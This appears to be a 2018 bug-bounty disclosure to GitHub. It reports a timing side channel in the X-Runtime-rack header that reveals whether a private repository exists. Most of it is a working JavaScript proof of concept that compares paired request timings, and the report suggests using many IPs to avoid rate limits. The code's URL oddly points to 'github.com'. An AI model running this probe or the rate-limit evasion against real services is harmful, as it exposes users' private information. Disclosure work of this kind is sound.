eli submitted a report to GitHub.
Oct 1st, 2018
The X-Runtime-rack header leaks enough timing data to detect the existence of private repositories.
-
Navigate to GitHub.com
-
Execute the code block in Appendix A.
-
Call
RepoExists(repo_name).then(exists => console.log("repo " + (exists ? "exists" : "doesn't exist")))
(e.g.
RepoExists("eligrey/soundmesh").then(exists => console.log("repo " + (exists ? "exists" : "doesn't exist")))
)
My PoC is simplified and isn't 100% reliable. A better PoC would request the URL more times and from many different IPs as to avoid the GitHub rate limits. Even within the existing rate limits for a single IP address, this code already works quite reliably for me.
Appendix A
"use strict";
const RepoExists = (name) => {
const githubUrl = "https://github.com/" + name;
const runtime = 'X-Runtime-rack';
const threshold = 0.0077235; // Half of L-estimator of source deltas (~20ms)
const deltas = [];
const next = (samplesLeft) => {
if (samplesLeft < 1) {
const len = deltas.length;
deltas.sort((a, b) => a - b);
const estimate = (deltas[len * 0.4 | 0] + deltas[len * 0.6 | 0]) / 2;
return Promise.resolve(estimate >= threshold);
}
const random = Math.random().toString(36).slice(2);
return Promise.all([
fetch(githubUrl + random + '?_=' + random),
fetch(githubUrl + '?_=' + random)
]).then((responses) => {
const control = responses[0];
const test = responses[1];
if (!control.headers.has(runtime) || !test.headers.has(runtime)) {
throw new Error(`GitHub did not provide ${runtime} header.`);
}
const delta = +test.headers.get(runtime)
- +control.headers.get(runtime);
deltas.push(delta);
return next(samplesLeft - 1);
});
};
return next(16);
};
An attacker controlling a large enough IP space (to avoid rate limits) could ascertain the existence of users' private repositories.
GitHub doesn't use the disclosure feature of HackerOne, so I am disclosing the vulnerability details here.
My HackerOne profile: https://hackerone.com/eli
HackerOne entry for this vulnerability (private, as GitHub has not disclosed it publicly): https://hackerone.com/reports/417374